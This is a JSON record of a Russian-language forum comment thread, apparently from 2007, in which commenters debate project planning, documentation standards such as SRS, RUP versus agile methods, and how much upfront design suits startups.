{ "id": [ 11673121, 11673123, 11673125, 11673127, 11673129, 11673131, 11673133, 11673135, 11673137, 11673139, 11673141, 11673143, 11673145, 11673147, 11673149, 11673151, 11673153, 11673155, 11673157, 11673159, 11673161, 11673163, 11673165, 11673167, 11673169, 11673171, 11673173, 11673175, 11673177, 11673179, 11673181, 11673183, 11673185, 11673187, 11673189, 11673191, 11673193, 11673195, 11673197, 11673199, 11673201, 11673203, 11673205, 11673207, 11673209, 11673211, 11673213, 11673215, 11673217, 11673219, 11673221, 11673223, 11673225, 11673227, 11673229, 11673231, 11673233 ], "parent_id": [ null, 11673121, 11673121, 11673123, 11673121, null, null, null, 11673125, 11673129, 11673123, 11673139, 11673141, 11673145, 11673143, 11673135, 11673135, 11673147, null, null, null, null, 11673161, 11673163, 11673163, 11673169, 11673167, 11673173, null, 11673151, 11673153, 11673175, 11673171, 11673177, 11673187, null, 11673155, 11673149, 11673187, 11673191, 11673193, 11673149, 11673191, 11673181, 11673163, 11673201, 11673203, 11673195, 11673177, null, null, 11673193, 11673223, 11673207, 11673189, 11673197, null ], "level": [ 0, 1, 1, 2, 1, 0, 0, 0, 2, 2, 2, 3, 3, 4, 4, 1, 1, 5, 0, 0, 0, 0, 1, 1, 1, 2, 2, 3, 0, 2, 2, 4, 3, 1, 2, 0, 6, 5, 2, 1, 7, 5, 1, 3, 1, 8, 6, 6, 1, 0, 0, 7, 8, 4, 3, 3, 0 ], "time_published": [ 1187913670, 1187931469, 1187932654, 1187932679, 1187934548, 1187936504, 1187937355, 1187938238, 1187939095, 1187939493, 1187939703, 1187939808, 1187939972, 1187940909, 1187941156, 1187941625, 1187941788, 1187943483, 1187945097, 1187946094, 1187950256, 1187951586, 1187952527, 1187952735, 1187952825, 1187953389, 1187954349, 1187954835, 1187961762, 1187963055, 1187964088, 1187964573, 1187964780, 1187964938, 1187965615, 1187965654, 1187967954, 1187973686, 1187973836, 1187983422, 1187987039, 1187987183, 1188039808, 1188042845, 1188043023, 1188047334, 1188047465, 1188047531, 1188047565, 1188060647, 1188120264, 1188251463, 1188267164, 1188292299, 1188293725, 1188294323, 1188565217 ], "score": [ 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0 ], "votes": [ 7, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не зря вы представляете недовольные лица людей - предварительная подготовка необходима и полезна, спору нет. Стандарты тоже замечательны, пока их не слишком много. И про выбор частей вы правильно думаете.<br/>\n<br/>\nА вот использовать стандарты для описания того, кто чем занимается - это как? Я не понимаю. Лист требований - это тоже не стандарты. Использование системы контроля версий естественно разрешает проблему с кодом. Если вы не хотите разрешать конфликты версий - что ж, координируйте работу людей. Как это они у вас пишут один участок кода?<br/>\n<br/>\nОпределить, что вы хотите получить в итоге - это правильно. Но по списку требований вы не определите качества никогда. В проекте есть два качества - то, которое определяют программисты и то, которое определяет клиент. Если вы заставите программистов работать над продуктом, качество которого определяет клиент, они вряд ли будут довольны - качество клиента обычно ниже и из-за этого снижаются сроки. Из-за сниженных сроков программист вынужден писать менее качественный код, что противоречит его стандартам качества. Такой ситуации надо избегать - когда люди недовольны тем, что они делают, они делают это неохотно. Плюс, единственное. что будет волновать этих людей - когда же наконец выйдут из этого проекта.<br/>\n<br/>\nЕсли у вас в середине проекта кто-то что-то говорит, значит:<br/>\n<ol><br/>\n<li>Вы не знаете навыков своих людей</li><br/>\n<li>Вы не умеете ими управлять</li><br/>\n<li>Люди не хотят делать этот проект</li><br/>\n</ol><br/>\nТретий пункт наиболее важный - что-то случилось, из-за чего люди хотят избежать работы над проектом.<br/>\n<br/>\nВы же, вместо того, чтобы анализировать ситуацию и привести её в порядок, чтобы люди хотели работать над проектом, лишь добавляете бумажек, думая, что это спасёт ваш проект. А как у вас с текучестью кадров?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">простите, но вы написал полстраницы текста, не имеющего никакого отношения к исходному и очень полезному для начинающих посту.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">претензии по мелочи - к примеру, программисты не определяют качество продукта.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Есть некоторые претензии к основному тексту, но свою цель он достиг - заставил усомниться в том, что проект можно взять блицкригом с налета и без подготовки.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Последнее время очень часто, к сожалению, говорю фразу:<br/>\r\n<br/>\r\n\"Нечего пинать на реализацию, если архитектуру просрали\"<br/>\r\n<br/>\r\nТак что уделяйте больше времени на проектирования проекта - это время никогда не будет потрачено зря...</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Про методологии разработки программного обеспечения написано достаточно. И спору нет их надо знать. Но не всегда все так как пишет автор статьи. Не всегда известны функциональные требования к системе на 100% в начале проекта. <br/>\n<br/>\nНе всегда плохо переписать ядро 15 раз. И даже лучше писать ПО чтобы можно было его переписывать. И желательно частями, а не целиком сразу - когда архитектура изначально четко заложена. <br/>\n<br/>\nКогда разрабатываешь ядерную боеголовку и ПО для нее - тогда нужно 100% следование стандартам и обширная предпроектная подготовка. <br/>\n<br/>\nЕсли же ПО само по себе динамическое, и может меняется со временем в зависимости от растущих потребностей пользователей - тогда и подходы должны быть более гибкими. Но в целом я с автором согласен - проектировать надо, но может не всегда по схеме им предложенной. Гибкость подхода нужно применять товарищи!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">1. Я говорил о контексте «В-третьих, для того чтобы не произошла ситуация, что оба программиста одновремено разрабатывают класс…»<br/>\n2. Это естественно. Но всё же я считаю, что клиент не должен иметь решающего слова в определении качества, потому что, как я уже писал, разработчики неохотно работают над тем, что не удовлетворяет их стандартам качества.<br/>\n3. Если команде нужны стандарты для описания зон ответственности и правила взаимодействия, то скорее всего это не команда.<br/>\n4. Команда разработчиков - это команда разработчиков. Если вы приглядитесь, то увидите, что менеджеры всё-таки находятся в стороне, если, конечно, не принимают активное участие в проекте. А остальные товарищи представляют собой отдельные команды со своими проблемами.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А как же качество кода?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да, конечно, для начинающих, которые хотят сразу встать на скользкую дорогу тотальных стандартизаций я написал пол страницы текста, не имеющего отношения…<br/>\n<br/>\nВпрочем, это моё восприятие.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">качество кода тоже не определяет качество продукта. Есть гораздо более важные вещи. <br/>\n<br/>\nПрограммист - быть может, художник. Программисту нужно знать что то, что он пишет правильно и разумно. Ему нужно знать, что он использует cutting edge техники и что от него что-то зависит.<br/>\n<br/>\nПродукту этого не нужно. Продукту нужен успех. <br/>\n<br/>\nА если вернуться к исходной записи - там речь шла и вовсе совершенно об ином. О совершенно необходимых вещах, чуть только ваш проект стал чуть взрослее детского сада. Если над ним работают хотя бы 20 человек.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">О, поверьте - описанное в записи далеко не \"тотальная стандартизация\". Это минимально необходимые документы. Документы, без которых проекты проваливаются. <br/>\n<br/>\nЯ не хочу переходить на личности, но сюдя по профилю в МоемКруге - вы работаете уже три года в компании, в которой менее 10 человек. Соответственно - вы не занимались крупными (и даже средними) проектами. Для трех человек действительно можно обойтись без большинства документов. Особенно, если заказчик внутренний.<br/>\n<br/>\nЕсли это хоть сколько-нибудь серьезный проект - пренебрежение четкими методиками управления проектом (пусть даже и agile) - преступление.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ничего страшного, что вы посмотрели мой профиль в МоёмКруге, хоть какая-то от него польза ;) Восприятие средних и крупных проектов бывает разное, я затрудняюсь ответить. Документов у нас хватает, поверьте. Я уже горю желанием кое-что поменять в их системе. И я этого добьюсь ;)<br/>\n<br/>\nМинимально необходимые документы - это план того, что нужно сделать. Называть его можно по-разному. Всё остальное тоже очень желательно, но план - нужен.<br/>\n<br/>\nЧёткость должна быть, не спорю. Но представьте себе разработку по RUP? Это, знаете, такая беда больших компаний - излишняя формализация всего. Плюс, человек сам очень гибок, зачем его сковывать излишними методологиями?<br/>\n<br/>\nЯ понимаю, что не тотальная ;) Но долгий путь начинается с одного маленького шага. Воспроизвёл неточно, но суть осталась.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Напишите про гораздо более важные вещи, я почитаю.<br/>\n<br/>\nКачество кода, естественно не определяет качество продукта полностью, но частично - точно.<br/>\n<br/>\nУспех нужен не продукту, это вы привираете ;) Успех нужен верхнему эшелону руководства.<br/>\n<br/>\nА если вернуться к исходной записи, то координация - необходимая вещь, даже если ты работаешь один. Естественно, что при большой команде координироваться надо лучше. Но для этого вовсе не обязательно переводить килограммы бумаги.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В случае если Вам незнакомы функциональные требования к системе на 100% в начале проекта порой рекомендую использовать метод набегающей волны - т.е. уточнение требований по мере проектирования системы. Весьма полезный метод ИМХО</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да я и не настаиваю именно на этой схеме :) Моя цель была подтолкнуть людей к *элементарной* документации и проектированию, а если они не знают как и что - прочитать стандарты, а потом подогнать их под себя.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Что значит \"представьте себе разработку по RUP\"? Я работал по RUP. И это было невероятно приятно. Впрочем, это было оправдано.<br/>\n<br/>\nПонимаете, вам когда-нибудь приходилось создавать проекты, deployment которых не сводился просто к \"svn up\"? <br/>\n<br/>\nЗачастую deployment превращается в довольно хитрую и сложную схему. Как обойтись без ее описания? Вот вам SCMP. SDD - просто описание архитектуры проекта. Как без нее? <br/>\n<br/>\nБез SRS и вовсе не начинается ни один проект.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">>Что же сделать что-бы этого избежать и при этом не заниматься планированием по пол-года?<br/>\n<br/>\nНабираться опыта.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Хотелось бы, что бы люди имеющие реальный опыт работы выложили посмотреть ещё несколько примеров того, как они ведут документацию. Понимаю, что это далеко не всегда возможно, но вдруг )<br/>\n<br/>\nЖелательно на русском )</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Статья правильная, а вот про документацию есть вопросы.<br/>\n<br/>\nС одной стороны, я рад, что наконец-то увидел систематическое описание требований к игре, давно хотелось понять, как к этому подходят в игровом мире.<br/>\n<br/>\nС другой стороны, удивило, что документы \"концепт-документ\" и \"спецификация требований\" в основном описывают не требования к ПО как таковые, сколько то, что классически принято называть \"бизнес-модель\" (модель предметной области, domain model) - а именно - понятия создаваемого игрового мира, их свойства, взаимосвязи, правила взаимодействия и эволюции.<br/>\n<br/>\nТ.е. в приведённых документах описано не проектирование ПО, а проектирование игры. Причём параллелей между классическим SRS и приведённой \"спецификацией требований\" я вообще не увидел, кроме разве того, что оба представляют собой структурированные документы.<br/>\n<br/>\nВозможно, для геймдизайна подобный акцент на описания моделируемого мира и правилен, но в начале статьи речь шла о стартапах и веб-разработке вообще, и для них всё-таки в большинстве своём Vision и SRS должны говорить в терминах ключевых функций, информационной архитектуры, видов страниц, состава страниц, видов сервисов, сценариев использования, макетов страниц, нефункциональных требований и т.д., что впрочем и упомянуто в самой статье.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Сейчас эпоха сервисов и прелесть в том, что вместо того чтобы потратить, например неделю на планирование и проработку будущего стартапа - можно за то же время сделать работающий прототип на базе различных сервисов и frameworkов, выставить его на публику и посмотреть на реакцию. И дальше, если \"зажгло\" - приступить к планированию, реализации и т.п., причем с учетом полученного фидбэка. <br/>\n<br/>\nЯ пишу это потому что много времени работал в крупных компаниях и разрабатывал и внедрял ПО по различным методологиям. Когда делал свой первый стартап - потратил на него полгода - и в итоге -пшик, не выстрелил. Сейчас я вижу что можно было понять что проект \"не пойдет\" сделав за пару недель простенький прототип. Безумно жаль потраченного времени. Поэтому истина как всегда где то посередине. Не стОит делать упор на планировании и проработке по крайней мере до тех пор пока не станет ясно что проект потенциально удачен.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Согласен, SRS там не совсем подходящее для web разработки. Ссылку привел для примера, это лучше чем совсем ничего :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не думаю, что день-два сыграет большую роль, ведь именно столько понадобится для \"простенького\" прототипа. Кстати прошу заметить, я делаю акцент именно на минимум документации. Я тоже против кучи бумаг, но считаю что основы должны быть расписаны.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">PS: Ещё один момент - преимущество стартапов перед крупными корпорациями - их мобильность. За то время как корпорация потратит полгода на фазу планирования - стартап успеет \"выстрелить\" и отъесть часть рынка. Если он будет повторять путь корпорации то проиграет ещё на фазе планирования, так как бюджет кончится)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Всё верно, согласен на все 100%. Этап планирования в стартапе нужно сократить, но не убрать.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В таком случае не совсем понимаю смысл планирования на начальном этапе. <br/>\nНу хорошо, давайте на конкретном примере.<br/>\n<br/>\nДопусти есть идея сделать стартап отвечающий на вопрос:<br/>\n\"Что подарить?\" (родилась 5 минут назад, после звонка жены:) )<br/>\n<br/>\nИтак, опишем функциональные требования:<br/>\n<br/>\nЦель: Ответ на вопрос что подарить определенной категории людей на определенное событие<br/>\n<br/>\nФункционал: <br/>\nПользователь регистрируется, заполняет профиль и описывает самый идиотский и самый понравившийся подарок в своей жизни.<br/>\nС обязательным указанием на какое событие (ДР, свадьба и т.п.) и комментариями почему. Возможность комментировать<br/>\nВ профиле минимум - пол, возраст, примерный доход<br/>\n<br/>\nПочему будут писать: - похвастаться<br/>\n<br/>\nКак будут искать: по типу события и профилю - возраст доход и т.п.<br/>\n<br/>\nМонетизация: реклама ларьков с сувенирами.<br/>\n<br/>\nВот собственно план. Дальше берем первую попавшуюся цмс или фреймворк, делаем сайт - и показываем его как можно большему кол-ву людей. Смотрим на фидбэк, что не удобно, чего добавить, что исправить и если людям интересно - заказываем/покупаем дизайн, нанимаем/берем в долю программиста программиста и делаем на чистовик. Выпуск - доработка по фидбэку - маркетинг - продажа - следующий стартап.<br/>\nТ.е. вся прелесть - делаем все быстро. Не заморачиваясь на:<br/>\nSoftware project management plan, Software Requirements Specification и т.п. <br/>\nНадо опираться на отзывы реальных пользователей а не додумывать за них. А не выстрелит - забросить на раннем этапе и заняться другим чем-ть. <br/>\n<br/>\nВ общем Ваша статья больше подходит к разработке каких нибудь ЕРП систем, чем к запуску стартапа. Ну или к сложным стартапам с большой командой.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Описать стартап в таком виде как сделали Вы - лучше, чем вообще ничего не написать. Была хорошая фраза, к сожалению не помню дословно, но смысл: Пока идея не записана, она не существует. Опишите проект хоть как-то, если будете использовать какую-нибудь методику или стандарт, то шанс того что вы ничего не забудете в процессе намного выше.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Проектирование пользовательского интерфейса может занят 15% - 20% времени и ресурсов при разработке информационных систем. Тщательная проработки интерфейса действительно поможет избежать разного рода ошибок на ранних этапах разработки. Но для этого лучше всего не привлекать программистов — у них совершенно иное мышление нежели требуется на проектирование интерфейсов.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Тоже вариант, но все равно всего не предусмотришь - а время можно потерять достаточно!<br/>\nМожет требования лучше уточнять в процессе разработки - а на начальном этапе хватит метафоры и плана на первые один-два месяца разработки.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я бы сказал - людей лучше подталкивать к изучению методологий разработки и их применению. А то что Вы предлагаете - это выдранные из контекста практики. И почему-то Вы выбрали только один из возможных вариантов их использования. Никто не говорит что не надо проектировать, планировать, и тестировать. <br/>\n<br/>\nНапример само по себе тестирование - очень полезная вещь и тестировать можно без предварительного проектирования по стандартам как вы описывали. <br/>\n<br/>\nНадо Вам написать функцию сложения двух чисел? Сначала пишешь тест, в котором проверяется работы этой функции. По сути просто вызываем функцию с двумя параметрами и сравниваем с верным показателем. Тоько после этого пишем код самой функции. Чем не тестирование перед проектированием - даже круче - перед кодированием. <br/>\n<br/>\nПочему проектировать систему сразу не по ходу реализации ее функций. Зачем писать документацию на систему - если она нужна только ее разработчикам. А разработчик и так ее знают как свои пять пальцев - потому что сами же и написали. Вот другая точка зрения.<br/>\n<br/>\nЕсть разные методологии. И я не говорю о том что проектировать не нужно - просто это можно делать по разному, как это делать определятся в каждом конкретном случае.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А я идеи записываю с целью структуризации информации в мозге! В своем. Потом как правило эта бумажка не нужна. Она и так в голове есть. :-) Потом пищу другую бумажку для разработчиков - в которой описывается по сути что должно получится в общем.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Кончено нельзя - а то целей для разработчиков не будет. Только планировать надо как можно чаще - иначе план свою актуальность потеряет. И сам процесс должен занимать как можно меньше времени. В плане должно быть написано столько - сколько нужно программисту для понимания и не строчкой больше. А как реализовать мы сами знаем :-)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А может занять и 50 и 100% времени - и потом получится что те мелочи которы проработали сразу - совсем не такие - потому как технически сложно реализовать, и видение у заказчика поменялось, и вообще мир не стоит на месте :-) Как-то не экономно получается... Не аккуратненько :-)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А для этого есть авторский надзор, как у архитекторов:<br/>\n<a href=\"http://www.google.ru/search?q=%D0%B0%D0%B2%D1%82%D0%BE%D1%80%D1%81%D0%BA%D0%B8%D0%B9+%D0%BD%D0%B0%D0%B4%D0%B7%D0%BE%D1%80\" title=\"http://www.google.ru/search?q=%D0%B0%D0%B2%D1%82%D0%BE%D1%80%D1%81%D0%BA%D0%B8%D0%B9+%D0%BD%D0%B0%D0%B4%D0%B7%D0%BE%D1%80\">http://www.google.ru/search?q=%D0%B0%D0%…</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Есть превосходные \"легкие\" методологии создания программного продукта. Они расчитаны на малые группы разработчков до 10 человек.<br/>\r\n<br/>\r\nФормулировка требований - Use Case, см. книгу Алистера Коуберна.<br/>\r\nЛегкие методологии - Clear Case того же автора, Extreme Programming by Kent Beck.<br/>\r\n<br/>\r\nЛично я сторонник экстремального программирования и его практик.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">О, я имел в виду то, что это достаточно формализованный процесс. Но раз вам нравилось… Думаю, это проблема мировоззрения - мне претит излишняя бюрократия и формализм.<br/>\n<br/>\nНасчёт развёртывания, так его уже давно можно говорить по-русски, все поймут. Деплоймент же меня смущает, знаете, как в книге, где переводчик затруднился перевести термин.<br/>\n<br/>\nНу, и если надо где-то развёртывать проект, то естественно изучить, что есть и что надо, поэтому план развёртывания нужен. Но воротить большой док с описанием всех процессов? Для этого надо иметь огромную команду с очень плохой координацией, либо очень плохие условия.<br/>\n<br/>\nЯ ещё раз повторюсь насчёт того, что определить, что необходимо получить в итоге - правильно и просто обязательно. Сюда, вполне естественно, входят требования к продукту и его архитектура.<br/>\n<br/>\nНо описывать кто в команде чем занимается - это уже слишком. Это не команда, если её член не знает чем он занимается. Если же люди не знают, что делать и куда приложить силы, это проблема координации. И уж тем более, есть какая-то проблема, если кто-то в середине проекта вдруг стал недоволен.<br/>\n<br/>\nТаким образом - предварительному планированию, сбору требований и созданию архитектуры - да. Описанию процедуры развёртывания, особенное если оно сложное - естественно да. А остальному - нет. Никаких описаний кто в команде чем занимается. Никаких попыток описать все процессы, выполняемые человеком и свести их в документ. Описать все процессы невозможно, а человек - не робот.<br/>\n<br/>\nНи один проект не начнётся без людей ;)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Качество кода важно, но меньше - чем качество взаимодействия, качество интерфейса. И вообще качество соответствия ожидания людей от продукта с самим продуктом.<br/>\nОб этих вещах можно почитать, например, у Алана Купера: \"Психбольница в руках пациентов\" (<a href=\"http://www.fictionbook.ru/author/kuper_alan/psihbolnica_v_rukah_pacientov/kuper_psihbolnica_v_rukah_pacientov.html\">fictionbook-html</a>, <a href=\"http://www.ozon.ru/context/detail/id/2164299/\">купить на Ozon'е</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Есть ТЗ, есть системные архитекторы, в конце концов. Да и мелочи как правило прорабатывают с умом и в свое время.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Он кОбёрн, безо всяких ОУ: <a href=\"http://alistair.cockburn.us/index.php/Main_Page\" title=\"http://alistair.cockburn.us/index.php/Main_Page\">http://alistair.cockburn.us/index.php/Ma…</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Простите, опять же, но у меня такое ощущение, что у вас в голове какая-то каша из нахватанных откуда-то умных терминов, сложноподчиненных предложений и полное отсутствие практики.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">И вы на протяжении нескольких лет работаете над проектами, успех которых нужен только верхнему эшелону - я вам очень сочувствую. Правда.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Если мне память не изменяет, методология называется Crystal Clear. Clear Case - это система контроля кода компании Rational. <br/>\nА в целом - гибкие методологии позволяют получить продукт на порядок быстрей и качественнее, чем следуя тяжеловесным методология аля RUP. Документация, как и любой артефакт, требует времени на поддержание и модификацию, причем чем ее больше тем ситуация хуже. Все указанные в статье документы помогают проекту достигнуть запланированного результата, но не гарантируют успеха проекта в целом. Так что выпуск проекта за 3 месяца по быстрым методологиям в большинстве случаев гораздо лучше, чем когда релиз происходит в том же объеме, но через год, зато следуя \"тяжелым\" методологиям. У Коберна есть чудная книга \"Быстрая разработка\", где подробно объясняется с чем это связано</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А завтра вы возьмете в команду нового разработчика, потому как старые перестанут справляться физически или уйдет кто-то.. и этот новенький просто потонет под грузом чужого кода, который писался \"как удобнее\" и не документирован вообще никак. Хорошо, если будет кто-то, кто проектировал систему и досконально знает структуру и при этом способен грамотно объяснить что к чему, а если нет?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ох, вот поэтому мы и имеем триста клонов одного и того же, работающих кое-как.. :(</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Насчёт каши. Она там бывает, что, впрочем, не является моей привилегией.<br/>\n<br/>\nНасчёт терминов. Посмотрите, я перегрузил ими текст? Нет? Ах, боже мой.<br/>\n<br/>\nПредложения мои - это дело моего подхода. Лучше конечно выражаться односложно, это упрощает взаимодействие.<br/>\n<br/>\nПрактика… Научите меня вычислять её количество по написанному тексту, я вам буду благодарен.<br/>\n<br/>\nЯ вас прощаю.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Поверьте, я работаю над проектами, успех которых мне очень важен. А про руководство - так это распространённая практика у нас, когда начальство думает, что подчинённые разделяют их цели.<br/>\n<br/>\nЯ вас ещё раз прощаю. За сочувствие спасибо.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо за рекомендацию. Этого уже съел, достаточно водянистая книга.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Конечно, все хотят кушать, и проектировщики интерфейсов тоже. Но Купер немного передёргивает, впрочем, как и многие товарищи с похожими мыслями. Впрочем, понять их можно - голод штука такая ;)<br/>\n<br/>\nНе знаю, как там отбирают на проектирование интерфейсов по мышлению, но поверьте, достаточно поработать вместе с пользователями вашего продукта в реальных условиях и вы обретёте просветление. Тогда интерфейс очень быстро разгрузится от лишнего. Такое сейчас происходит в проекте, который я внедряю. Главное - узнать, что пользователю необходимо, какая информация. И какая будет полезна. Но это мой опыт, для других он может разниться.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Самое важное в этом посте - то что проектирование должно иметь место. А то часто, когда начинаешь веб20 проджект в голову бьёт стартапная романтика.<br/>\n<br/>\nПо моему опыту стандартизированные подходы слабо походят для команды 2-3 человека которая делает продукт для енд-пользователей а не клиента. <br/>\n<br/>\nЯ подчеркнул из \"Getting Real\" и проверил и практике, что самым лучшим \"проектированием\" для веб приложений является дизайн всех интерфейсов. Только на основе всех готовых шаблонов можно писать код.<br/>\n<br/>\nА по поводу управления проектами есть прекрасная книжка <a href=\"http://www.ozon.ru/context/detail/id/2449712/\">Deadline. Роман об управлении проектами</a> (Том ДеМарко)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">По сути, делаешь интерфейс и его реализуешь (поддерживаю citycat). Принцип DRY это весчь. Нормальный проектировщик всё в мозгу без проблем должен удержать.<br/>\n<br/>\nНу и промолчу о том, что природа 2.0 заставляет постоянно модернизировать приложение... Короче бессмысленно писать все эти бумажки, диаграммки.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Описывать, кто чем в проекте занимается, необходимо как минимум тогда, когда в проекте есть представители Заказчика и Исполнителя. У тех и у других есть свои обязанности, и формализация этих обязанностей - безусловное благо для проекта.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это верно, но я говорил всё-таки про команду. А формализация - далеко не всегда безусловное благо.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Варианта два: либо подскажут \"старики\",<br/>\nлибо программист разберется в коде сам - ели он конечно профессионал. <br/>\n<br/>\nЕсли не профессионал, и некому объяснить - гиблое дело, такому никакая документация не поможет. Программист должен уметь читать код, как чужой так и свой. И кроме того грамотно его писать. Если функция размером в 40 экранов - тут какую хочешь документацию пиши - все одно - хрен разберешь.<br/>\n<br/>\nИ кстати, OpenSource проекты, часто там документация? Максимум на API - и то когда это библиотека :-) Народу же с этим кодом работает гораздо больше, чем с напрочь задокументированными системами. И ничего - не жужжат! :-)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А оно надо? Вот к примеру проект рассчитанный на два года реализации. Первый этап - через два месяца создать версию с минимальным функционалом и запустить в эксплуатацию. Далее еще через два месяц надо вторую версию с расширенным функционалом. Еще через два с нагрузкой на 10000 одновременных активных пользователей и так далее. <br/>\n<br/>\nЧто мы делаем в соответствии с описанной методой:<br/>\n - мы проектируем систему с учетом всех возможных расширений - два месяца<br/>\n - разрабатываем ядро системы с учетом возможностей его расширения и повышения производительности за счет масштабирования аппаратных средств - два месяца минимум, а то и пол года (какую спецификацию написать :-) )<br/>\n - разрабатываем минимальный функционал, закупаем оборудование, устанавливаем - два месяца (опять таки минимум)<br/>\n<br/>\nПолучилось странное! Прошло пол года - а у нас классная штука с ядром и чем-то по спецификации. Заказчик уже 4 месяца ждет первой версии чтобы ее раскручивать по всякому. А у нас понимаешь ли спецификации и жесткая архитектура.<br/>\n<br/>\nНе всегда методика описанная автором статьи соответствует реальности. Не спорю - проектировать и планировать надо. Но не обязательно так и в такой последовательности. Вариантов много и для каждого проекта нужно подбирать наиболее подходящий.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Редко я встречал проекты, в которых конечный продукт соответствовал ТЗ на 100%. Если, конечно ТЗ писал не сам исполнитель, и в таком виде, что ему может соответствовать, что угодно, за ради прикрытия задницы :-)<br/>\n<br/>\nСистемный архитекторы - вообще забавные люди - бывают двух типов:<br/>\n1) Теоретик - пишет что и как писать и никто так не делает; Часто встречается в ИТ отделах не ИТ компания (заводов например)<br/>\n2) Царь и бог - что-то придумал, что-то написал. Все остальные пишут UI и вспомогательные функции как могут, а точнее как получится. Потому как \"богу\" не до UI и мелочи всякой! Получается дикий, необузданный монстр с афигенной архитектурой - этакий цифровой Франкенштейн! :-)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Господа, все смешали в кучу — проект, продукт, стартап, web 2.0... А, между тем, на мой взгляд, основная мысль автора (которую я поддерживаю): следование _стандартам_ может сэкономить вам выходные ;).</div>" ], "message_markdown": [ "Не зря вы представляете недовольные лица людей - предварительная подготовка необходима и полезна, спору нет. Стандарты тоже замечательны, пока их не слишком много. И про выбор частей вы правильно думаете.\nА вот использовать стандарты для описания того, кто чем занимается - это как? Я не понимаю. Лист требований - это тоже не стандарты. Использование системы контроля версий естественно разрешает проблему с кодом. Если вы не хотите разрешать конфликты версий - что ж, координируйте работу людей. Как это они у вас пишут один участок кода?\nОпределить, что вы хотите получить в итоге - это правильно. Но по списку требований вы не определите качества никогда. В проекте есть два качества - то, которое определяют программисты и то, которое определяет клиент. Если вы заставите программистов работать над продуктом, качество которого определяет клиент, они вряд ли будут довольны - качество клиента обычно ниже и из-за этого снижаются сроки. Из-за сниженных сроков программист вынужден писать менее качественный код, что противоречит его стандартам качества. Такой ситуации надо избегать - когда люди недовольны тем, что они делают, они делают это неохотно. Плюс, единственное. что будет волновать этих людей - когда же наконец выйдут из этого проекта.\nЕсли у вас в середине проекта кто-то что-то говорит, значит:\n 1. Вы не знаете навыков своих людей\n 2. Вы не умеете ими управлять\n 3. Люди не хотят делать этот проект\nТретий пункт наиболее важный - что-то случилось, из-за чего люди хотят избежать работы над проектом.\nВы же, вместо того, чтобы анализировать ситуацию и привести её в порядок, чтобы люди хотели работать над проектом, лишь добавляете бумажек, думая, что это спасёт ваш проект. А как у вас с текучестью кадров?", "простите, но вы написал полстраницы текста, не имеющего никакого отношения 